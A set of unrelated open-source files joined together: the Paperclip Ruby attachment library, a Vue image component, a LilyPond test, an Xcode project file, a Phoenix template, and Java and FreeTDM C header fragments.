* @return true if {@link VcfNumberType#toString()} will return numbers output value, false if should use {@link VcfNumber#toString()} instead
*/
public boolean isFixedString() {
return mFixed;
}
/**
* @return true if the expected number of field values is dependent on the number of alleles present in the record
*/
public boolean isAlleleDependent() {
return mAlleleDependent;
}
@Override
public String toString() {
return mFixed ? mToString : super.toString();
}
}
| {
"pile_set_name": "Github"
} |
# Paperclip allows file attachments that are stored in the filesystem. All graphical
# transformations are done using the Graphics/ImageMagick command line utilities and
# are stored in Tempfiles until the record is saved. Paperclip does not require a
# separate model for storing the attachment's information, instead adding a few simple
# columns to your table.
#
# Author:: Jon Yurek
# Copyright:: Copyright (c) 2008-2009 thoughtbot, inc.
# License:: MIT License (http://www.opensource.org/licenses/mit-license.php)
#
# Paperclip defines an attachment as any file, though it makes special considerations
# for image files. You can declare that a model has an attached file with the
# +has_attached_file+ method:
#
# class User < ActiveRecord::Base
# has_attached_file :avatar, :styles => { :thumb => "100x100" }
# end
#
# user = User.new
# user.avatar = params[:user][:avatar]
# user.avatar.url
# # => "/users/avatars/4/original_me.jpg"
# user.avatar.url(:thumb)
# # => "/users/avatars/4/thumb_me.jpg"
#
# See the +has_attached_file+ documentation for more details.
require 'erb'
require 'tempfile'
require 'paperclip/upfile'
require 'paperclip/iostream'
require 'paperclip/geometry'
require 'paperclip/processor'
require 'paperclip/thumbnail'
require 'paperclip/storage'
require 'paperclip/interpolations'
require 'paperclip/attachment'
if defined? RAILS_ROOT
Dir.glob(File.join(File.expand_path(RAILS_ROOT), "lib", "paperclip_processors", "*.rb")).each do |processor|
require processor
end
end
# The base module that gets included in ActiveRecord::Base. See the
# documentation for Paperclip::ClassMethods for more useful information.
module Paperclip
VERSION = "2.3.1"
class << self
# Provides configurability to Paperclip. There are a number of options available, such as:
# * whiny: Will raise an error if Paperclip cannot process thumbnails of
# an uploaded image. Defaults to true.
# * log: Logs progress to the Rails log. Uses ActiveRecord's logger, so honors
# log levels, etc. Defaults to true.
# * command_path: Defines the path at which to find the command line
# programs if they are not visible to Rails the system's search path. Defaults to
# nil, which uses the first executable found in the user's search path.
# * image_magick_path: Deprecated alias of command_path.
def options
@options ||= {
:whiny => true,
:image_magick_path => nil,
:command_path => nil,
:log => true,
:log_command => false,
:swallow_stderr => true
}
end
def path_for_command command #:nodoc:
if options[:image_magick_path]
warn("[DEPRECATION] :image_magick_path is deprecated and will be removed. Use :command_path instead")
end
path = [options[:command_path] || options[:image_magick_path], command].compact
File.join(*path)
end
def interpolates key, &block
Paperclip::Interpolations[key] = block
end
# The run method takes a command to execute and a string of parameters
# that get passed to it. The command is prefixed with the :command_path
# option from Paperclip.options. If you have many commands to run and
# they are in different paths, the suggested course of action is to
# symlink them so they are all in the same directory.
#
# If the command returns with a result code that is not one of the
# expected_outcodes, a PaperclipCommandLineError will be raised. Generally
# a code of 0 is expected, but a list of codes may be passed if necessary.
#
# This method can log the command being run when
# Paperclip.options[:log_command] is set to true (defaults to false). This
# will only log if logging in general is set to true as well.
def run cmd, params = "", expected_outcodes = 0
command = %Q[#{path_for_command(cmd)} #{params}].gsub(/\s+/, " ")
command = "#{command} 2>#{bit_bucket}" if Paperclip.options[:swallow_stderr]
Paperclip.log(command) if Paperclip.options[:log_command]
output = `#{command}`
unless [expected_outcodes].flatten.include?($?.exitstatus)
raise PaperclipCommandLineError, "Error while running #{cmd}"
end
output
end
def bit_bucket #:nodoc:
File.exists?("/dev/null") ? "/dev/null" : "NUL"
end
def included base #:nodoc:
base.extend ClassMethods
unless base.respond_to?(:define_callbacks)
base.send(:include, Paperclip::CallbackCompatability)
end
end
def processor name #:nodoc:
name = name.to_s.camelize
processor = Paperclip.const_get(name)
unless processor.ancestors.include?(Paperclip::Processor)
raise PaperclipError.new("Processor #{name} was not found")
end
processor
end
# Log a paperclip-specific line. Uses ActiveRecord::Base.logger
# by default. Set Paperclip.options[:log] to false to turn off.
def log message
logger.info("[paperclip] #{message}") if logging?
end
def logger #:nodoc:
ActiveRecord::Base.logger
end
def logging? #:nodoc:
options[:log]
end
end
class PaperclipError < StandardError #:nodoc:
end
class PaperclipCommandLineError < StandardError #:nodoc:
end
class NotIdentifiedByImageMagickError < PaperclipError #:nodoc:
end
class InfiniteInterpolationError < PaperclipError #:nodoc:
end
module ClassMethods
# +has_attached_file+ gives the class it is called on an attribute that maps to a file. This
# is typically a file stored somewhere on the filesystem and has been uploaded by a user.
# The attribute returns a Paperclip::Attachment object which handles the management of
# that file. The intent is to make the attachment as much like a normal attribute. The
# thumbnails will be created when the new file is assigned, but they will *not* be saved
# until +save+ is called on the record. Likewise, if the attribute is set to +nil+ is
# called on it, the attachment will *not* be deleted until +save+ is called. See the
# Paperclip::Attachment documentation for more specifics. There are a number of options
# you can set to change the behavior of a Paperclip attachment:
# * +url+: The full URL of where the attachment is publically accessible. This can just
# as easily point to a directory served directly through Apache as it can to an action
# that can control permissions. You can specify the full domain and path, but usually
# just an absolute path is sufficient. The leading slash *must* be included manually for
# absolute paths. The default value is
# "/system/:attachment/:id/:style/:filename". See
# Paperclip::Attachment#interpolate for more information on variable interpolaton.
# :url => "/:class/:attachment/:id/:style_:filename"
# :url => "http://some.other.host/stuff/:class/:id_:extension"
# * +default_url+: The URL that will be returned if there is no attachment assigned.
# This field is interpolated just as the url is. The default value is
# "/:attachment/:style/missing.png"
# has_attached_file :avatar, :default_url => "/images/default_:style_avatar.png"
# User.new.avatar_url(:small) # => "/images/default_small_avatar.png"
# * +styles+: A hash of thumbnail styles and their geometries. You can find more about
# geometry strings at the ImageMagick website
# (http://www.imagemagick.org/script/command-line-options.php#resize). Paperclip
# also adds the "#" option (e.g. "50x50#"), which will resize the image to fit maximally
# inside the dimensions and then crop the rest off (weighted at the center). The
# default value is to generate no thumbnails.
# * +default_style+: The thumbnail style that will be used by default URLs.
# Defaults to +original+.
# has_attached_file :avatar, :styles => { :normal => "100x100#" },
# :default_style => :normal
# user.avatar.url # => "/avatars/23/normal_me.png"
# * +whiny+: Will raise an error if Paperclip cannot post_process an uploaded file due
# to a command line error. This will override the global setting for this attachment.
# Defaults to true. This option used to be called :whiny_thumbanils, but this is
# deprecated.
# * +convert_options+: When creating thumbnails, use this free-form options
# field to pass in various convert command options. Typical options are "-strip" to
# remove all Exif data from the image (save space for thumbnails and avatars) or
# "-depth 8" to specify the bit depth of the resulting conversion. See ImageMagick
# convert documentation for more options: (http://www.imagemagick.org/script/convert.php)
# Note that this option takes a hash of options, each of which correspond to the style
# of thumbnail being generated. You can also specify :all as a key, which will apply
# to all of the thumbnails being generated. If you specify options for the :original,
# it would be best if you did not specify destructive options, as the intent of keeping
# the original around is to regenerate all the thumbnails when requirements change.
# has_attached_file :avatar, :styles => { :large => "300x300", :negative => "100x100" }
# :convert_options => {
# :all => "-strip",
# :negative => "-negate"
# }
# NOTE: While not deprecated yet, it is not recommended to specify options this way.
# It is recommended that :convert_options option be included in the hash passed to each
# :styles for compatability with future versions.
# * +storage+: Chooses the storage backend where the files will be stored. The current
# choices are :filesystem and :s3. The default is :filesystem. Make sure you read the
# documentation for Paperclip::Storage::Filesystem and Paperclip::Storage::S3
# for backend-specific options.
def has_attached_file name, options = {}
include InstanceMethods
write_inheritable_attribute(:attachment_definitions, {}) if attachment_definitions.nil?
attachment_definitions[name] = {:validations => []}.merge(options)
after_save :save_attached_files
before_destroy :destroy_attached_files
define_callbacks :before_post_process, :after_post_process
define_callbacks :"before_#{name}_post_process", :"after_#{name}_post_process"
define_method name do |*args|
a = attachment_for(name)
(args.length > 0) ? a.to_s(args.first) : a
end
define_method "#{name}=" do |file|
attachment_for(name).assign(file)
end
define_method "#{name}?" do
attachment_for(name).file?
end
validates_each(name) do |record, attr, value|
attachment = record.attachment_for(name)
attachment.send(:flush_errors) unless attachment.valid?
end
end
# Places ActiveRecord-style validations on the size of the file assigned. The
# possible options are:
# * +in+: a Range of bytes (i.e. +1..1.megabyte+),
# * +less_than+: equivalent to :in => 0..options[:less_than]
# * +greater_than+: equivalent to :in => options[:greater_than]..Infinity
# * +message+: error message to display, use :min and :max as replacements
# * +if+: A lambda or name of a method on the instance. Validation will only
# be run is this lambda or method returns true.
# * +unless+: Same as +if+ but validates if lambda or method returns false.
def validates_attachment_size name, options = {}
min = options[:greater_than] || (options[:in] && options[:in].first) || 0
max = options[:less_than] || (options[:in] && options[:in].last) || (1.0/0)
range = (min..max)
message = options[:message] || "file size must be between :min and :max bytes."
attachment_definitions[name][:validations] << [:size, {:min => min,
:max => max,
:range => range,
:message => message,
:if => options[:if],
:unless => options[:unless]}]
end
# Adds errors if thumbnail creation fails. The same as specifying :whiny_thumbnails => true.
def validates_attachment_thumbnails name, options = {}
warn('[DEPRECATION] validates_attachment_thumbnail is deprecated. ' +
'This validation is on by default and will be removed from future versions. ' +
'If you wish to turn it off, supply :whiny => false in your definition.')
attachment_definitions[name][:whiny_thumbnails] = true
end
# Places ActiveRecord-style validations on the presence of a file.
# Options:
# * +if+: A lambda or name of a method on the instance. Validation will only
# be run is this lambda or method returns true.
# * +unless+: Same as +if+ but validates if lambda or method returns false.
def validates_attachment_presence name, options = {}
message = options[:message] || "must be set."
attachment_definitions[name][:validations] << [:presence, {:message => message,
:if => options[:if],
:unless => options[:unless]}]
end
# Places ActiveRecord-style validations on the content type of the file
# assigned. The possible options are:
# * +content_type+: Allowed content types. Can be a single content type
# or an array. Each type can be a String or a Regexp. It should be
# noted that Internet Explorer upload files with content_types that you
# may not expect. For example, JPEG images are given image/pjpeg and
# PNGs are image/x-png, so keep that in mind when determining how you
# match. Allows all by default.
# * +message+: The message to display when the uploaded file has an invalid
# content type.
# * +if+: A lambda or name of a method on the instance. Validation will only
# be run is this lambda or method returns true.
# * +unless+: Same as +if+ but validates if lambda or method returns false.
# NOTE: If you do not specify an [attachment]_content_type field on your
# model, content_type validation will work _ONLY upon assignment_ and
# re-validation after the instance has been reloaded will always succeed.
def validates_attachment_content_type name, options = {}
attachment_definitions[name][:validations] << [:content_type, {:content_type => options[:content_type],
:message => options[:message],
:if => options[:if],
:unless => options[:unless]}]
end
# Returns the attachment definitions defined by each call to
# has_attached_file.
def attachment_definitions
read_inheritable_attribute(:attachment_definitions)
end
end
module InstanceMethods #:nodoc:
def attachment_for name
@_paperclip_attachments ||= {}
@_paperclip_attachments[name] ||= Attachment.new(name, self, self.class.attachment_definitions[name])
end
def each_attachment
self.class.attachment_definitions.each do |name, definition|
yield(name, attachment_for(name))
end
end
def save_attached_files
logger.info("[paperclip] Saving attachments.")
each_attachment do |name, attachment|
attachment.send(:save)
end
end
def destroy_attached_files
logger.info("[paperclip] Deleting attachments.")
each_attachment do |name, attachment|
attachment.send(:queue_existing_for_delete)
attachment.send(:flush_deletes)
end
end
end
end
# Set it all up.
if Object.const_defined?("ActiveRecord")
ActiveRecord::Base.send(:include, Paperclip)
File.send(:include, Paperclip::Upfile)
end
| {
"pile_set_name": "Github"
} |
<template>
<div class='container'>
<div v-lazy-container="{ selector: 'img' }">
<img v-for='item in data' :data-src='item' />
</div>
</div>
</template>
<script>
const data = require.context("./data");
export default {
name: "Logo",
data() {
return {
data: data.keys().map(path => require("./data/" + path.replace("./", "")))
};
}
};
</script>
<style scoped lang='scss'>
.container {
width: 95%;
> div {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: center;
}
img {
width: 17vw;
height: 17vw;
object-fit: contain;
margin: 10px;
}
}
</style>
| {
"pile_set_name": "Github"
} |
\version "2.16.0"
\header{
texidoc = "Stripped version of trip.ly. Staves should be of correct length."
}
\layout { ragged-right= ##t }
\context PianoStaff \relative c'' <<
\new Staff {
r1
r1
\bar "|."
}
\new Staff {
r1
\context Staff {
\grace { c16 } c1
}
}
>>
\layout { }
| {
"pile_set_name": "Github"
} |
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 46;
objects = {
/* Begin PBXBuildFile section */
322C0AD51AF5377F002F45AE /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 322C0AD41AF5377F002F45AE /* AppDelegate.swift */; };
322C0AD71AF5377F002F45AE /* ViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 322C0AD61AF5377F002F45AE /* ViewController.swift */; };
322C0ADA1AF5377F002F45AE /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 322C0AD81AF5377F002F45AE /* Main.storyboard */; };
322C0ADC1AF5377F002F45AE /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 322C0ADB1AF5377F002F45AE /* Assets.xcassets */; };
322C0ADF1AF5377F002F45AE /* LaunchScreen.xib in Resources */ = {isa = PBXBuildFile; fileRef = 322C0ADD1AF5377F002F45AE /* LaunchScreen.xib */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
322C0ACF1AF5377F002F45AE /* bk1ch04p142valueTypesAndReferenceTypes.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = bk1ch04p142valueTypesAndReferenceTypes.app; sourceTree = BUILT_PRODUCTS_DIR; };
322C0AD31AF5377F002F45AE /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
322C0AD41AF5377F002F45AE /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
322C0AD61AF5377F002F45AE /* ViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ViewController.swift; sourceTree = "<group>"; };
322C0AD91AF5377F002F45AE /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
322C0ADB1AF5377F002F45AE /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
322C0ADE1AF5377F002F45AE /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.xib; name = Base; path = Base.lproj/LaunchScreen.xib; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
322C0ACC1AF5377F002F45AE /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
322C0AC61AF5377F002F45AE = {
isa = PBXGroup;
children = (
322C0AD11AF5377F002F45AE /* bk1ch04p142valueTypesAndReferenceTypes */,
322C0AD01AF5377F002F45AE /* Products */,
);
sourceTree = "<group>";
};
322C0AD01AF5377F002F45AE /* Products */ = {
isa = PBXGroup;
children = (
322C0ACF1AF5377F002F45AE /* bk1ch04p142valueTypesAndReferenceTypes.app */,
);
name = Products;
sourceTree = "<group>";
};
322C0AD11AF5377F002F45AE /* bk1ch04p142valueTypesAndReferenceTypes */ = {
isa = PBXGroup;
children = (
322C0AD41AF5377F002F45AE /* AppDelegate.swift */,
322C0AD61AF5377F002F45AE /* ViewController.swift */,
322C0AD81AF5377F002F45AE /* Main.storyboard */,
322C0ADB1AF5377F002F45AE /* Assets.xcassets */,
322C0ADD1AF5377F002F45AE /* LaunchScreen.xib */,
322C0AD31AF5377F002F45AE /* Info.plist */,
);
path = bk1ch04p142valueTypesAndReferenceTypes;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
322C0ACE1AF5377F002F45AE /* bk1ch04p142valueTypesAndReferenceTypes */ = {
isa = PBXNativeTarget;
buildConfigurationList = 322C0AEE1AF53780002F45AE /* Build configuration list for PBXNativeTarget "bk1ch04p142valueTypesAndReferenceTypes" */;
buildPhases = (
322C0ACB1AF5377F002F45AE /* Sources */,
322C0ACC1AF5377F002F45AE /* Frameworks */,
322C0ACD1AF5377F002F45AE /* Resources */,
);
buildRules = (
);
dependencies = (
);
name = bk1ch04p142valueTypesAndReferenceTypes;
productName = bk1ch04p142valueTypesAndReferenceTypes;
productReference = 322C0ACF1AF5377F002F45AE /* bk1ch04p142valueTypesAndReferenceTypes.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
322C0AC71AF5377F002F45AE /* Project object */ = {
isa = PBXProject;
attributes = {
LastSwiftUpdateCheck = 0700;
LastUpgradeCheck = 0630;
ORGANIZATIONNAME = "Matt Neuburg";
TargetAttributes = {
322C0ACE1AF5377F002F45AE = {
CreatedOnToolsVersion = 6.3.1;
LastSwiftMigration = 1000;
};
};
};
buildConfigurationList = 322C0ACA1AF5377F002F45AE /* Build configuration list for PBXProject "bk1ch04p142valueTypesAndReferenceTypes" */;
compatibilityVersion = "Xcode 3.2";
developmentRegion = English;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = 322C0AC61AF5377F002F45AE;
productRefGroup = 322C0AD01AF5377F002F45AE /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
322C0ACE1AF5377F002F45AE /* bk1ch04p142valueTypesAndReferenceTypes */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
322C0ACD1AF5377F002F45AE /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
322C0ADA1AF5377F002F45AE /* Main.storyboard in Resources */,
322C0ADF1AF5377F002F45AE /* LaunchScreen.xib in Resources */,
322C0ADC1AF5377F002F45AE /* Assets.xcassets in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
322C0ACB1AF5377F002F45AE /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
322C0AD71AF5377F002F45AE /* ViewController.swift in Sources */,
322C0AD51AF5377F002F45AE /* AppDelegate.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXVariantGroup section */
322C0AD81AF5377F002F45AE /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
322C0AD91AF5377F002F45AE /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
322C0ADD1AF5377F002F45AE /* LaunchScreen.xib */ = {
isa = PBXVariantGroup;
children = (
322C0ADE1AF5377F002F45AE /* Base */,
);
name = LaunchScreen.xib;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
322C0AEC1AF53780002F45AE /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
"CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer";
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu99;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_SYMBOLS_PRIVATE_EXTERN = NO;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 10.0;
MTL_ENABLE_DEBUG_INFO = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = iphoneos;
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
};
name = Debug;
};
322C0AED1AF53780002F45AE /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
"CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer";
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu99;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 10.0;
MTL_ENABLE_DEBUG_INFO = NO;
SDKROOT = iphoneos;
VALIDATE_PRODUCT = YES;
};
name = Release;
};
322C0AEF1AF53780002F45AE /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
INFOPLIST_FILE = bk1ch04p142valueTypesAndReferenceTypes/Info.plist;
LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_VERSION = 4.2;
};
name = Debug;
};
322C0AF01AF53780002F45AE /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
INFOPLIST_FILE = bk1ch04p142valueTypesAndReferenceTypes/Info.plist;
LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_VERSION = 4.2;
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
322C0ACA1AF5377F002F45AE /* Build configuration list for PBXProject "bk1ch04p142valueTypesAndReferenceTypes" */ = {
isa = XCConfigurationList;
buildConfigurations = (
322C0AEC1AF53780002F45AE /* Debug */,
322C0AED1AF53780002F45AE /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
322C0AEE1AF53780002F45AE /* Build configuration list for PBXNativeTarget "bk1ch04p142valueTypesAndReferenceTypes" */ = {
isa = XCConfigurationList;
buildConfigurations = (
322C0AEF1AF53780002F45AE /* Debug */,
322C0AF01AF53780002F45AE /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = 322C0AC71AF5377F002F45AE /* Project object */;
}
| {
"pile_set_name": "Github"
} |
<div class="row">
<%= render ExMoney.Web.SharedView, "settings_navbar.html", conn: @conn, navigation: @navigation %>
<div class="col-sm-9 col-sm-offset-3 col-md-10 col-md-offset-2 main">
<h2>Account <%= @account.name %></h2>
<ul>
</ul>
<%= link "Edit", to: settings_account_path(@conn, :edit, @account) %>
<%= link "Back", to: settings_account_path(@conn, :index) %>
</div>
</div>
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2010, Sangoma Technologies
* Moises Silva <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* * Neither the name of the original author; nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __FTDM_DECLARE_H__
#define __FTDM_DECLARE_H__
#ifdef __cplusplus
extern "C" {
#endif
#if !defined(_XOPEN_SOURCE) && !defined(__FreeBSD__)
#define _XOPEN_SOURCE 600
#endif
#ifndef HAVE_STRINGS_H
#define HAVE_STRINGS_H 1
#endif
#ifndef HAVE_SYS_SOCKET_H
#define HAVE_SYS_SOCKET_H 1
#endif
#ifndef __WINDOWS__
#if defined(WIN32) || defined(WIN64) || defined(_MSC_VER) || defined(_WIN32) || defined(_WIN64)
#define __WINDOWS__
#endif
#endif
#ifdef _MSC_VER
#if defined(FT_DECLARE_STATIC)
#define FT_DECLARE(type) type __stdcall
#define FT_DECLARE_NONSTD(type) type __cdecl
#define FT_DECLARE_DATA
#elif defined(FREETDM_EXPORTS)
#define FT_DECLARE(type) __declspec(dllexport) type __stdcall
#define FT_DECLARE_NONSTD(type) __declspec(dllexport) type __cdecl
#define FT_DECLARE_DATA __declspec(dllexport)
#else
#define FT_DECLARE(type) __declspec(dllimport) type __stdcall
#define FT_DECLARE_NONSTD(type) __declspec(dllimport) type __cdecl
#define FT_DECLARE_DATA __declspec(dllimport)
#endif
#define FT_DECLARE_INLINE(type) extern __inline__ type /* why extern? see http://support.microsoft.com/kb/123768 */
#define EX_DECLARE_DATA __declspec(dllexport)
#else
#if (defined(__GNUC__) || defined(__SUNPRO_CC) || defined (__SUNPRO_C)) && defined(HAVE_VISIBILITY)
#define FT_DECLARE(type) __attribute__((visibility("default"))) type
#define FT_DECLARE_NONSTD(type) __attribute__((visibility("default"))) type
#define FT_DECLARE_DATA __attribute__((visibility("default")))
#else
#define FT_DECLARE(type) type
#define FT_DECLARE_NONSTD(type) type
#define FT_DECLARE_DATA
#endif
#define FT_DECLARE_INLINE(type) __inline__ type
#define EX_DECLARE_DATA
#endif
#ifdef _MSC_VER
#ifndef __inline__
#define __inline__ __inline
#endif
#if (_MSC_VER >= 1400) /* VC8+ */
#ifndef _CRT_SECURE_NO_DEPRECATE
#define _CRT_SECURE_NO_DEPRECATE
#endif
#ifndef _CRT_NONSTDC_NO_DEPRECATE
#define _CRT_NONSTDC_NO_DEPRECATE
#endif
#endif
#ifndef strcasecmp
#define strcasecmp(s1, s2) _stricmp(s1, s2)
#endif
#ifndef strncasecmp
#define strncasecmp(s1, s2, n) _strnicmp(s1, s2, n)
#endif
#ifndef snprintf
#define snprintf _snprintf
#endif
#ifndef S_IRUSR
#define S_IRUSR _S_IREAD
#endif
#ifndef S_IWUSR
#define S_IWUSR _S_IWRITE
#endif
#undef HAVE_STRINGS_H
#undef HAVE_SYS_SOCKET_H
/* disable warning for zero length array in a struct */
/* this will cause errors on c99 and ansi compliant compilers and will need to be fixed in the wanpipe header files */
#pragma warning(disable:4706)
#pragma comment(lib, "Winmm")
#endif
#define FTDM_STR2ENUM_P(_FUNC1, _FUNC2, _TYPE) FT_DECLARE(_TYPE) _FUNC1 (const char *name); FT_DECLARE(const char *) _FUNC2 (_TYPE type);
#define FTDM_STR2ENUM(_FUNC1, _FUNC2, _TYPE, _STRINGS, _MAX) \
FT_DECLARE(_TYPE) _FUNC1 (const char *name) \
{ \
int i; \
_TYPE t = _MAX ; \
\
for (i = 0; i < _MAX ; i++) { \
if (!strcasecmp(name, _STRINGS[i])) { \
t = (_TYPE) i; \
break; \
} \
} \
\
return t; \
} \
FT_DECLARE(const char *) _FUNC2 (_TYPE type) \
{ \
if (type > _MAX) { \
type = _MAX; \
} \
return _STRINGS[(int)type]; \
} \
#ifdef __WINDOWS__
#include <stdio.h>
#include <windows.h>
#define FTDM_INVALID_SOCKET INVALID_HANDLE_VALUE
typedef HANDLE ftdm_socket_t;
typedef unsigned __int64 uint64_t;
typedef unsigned __int32 uint32_t;
typedef unsigned __int16 uint16_t;
typedef unsigned __int8 uint8_t;
typedef __int64 int64_t;
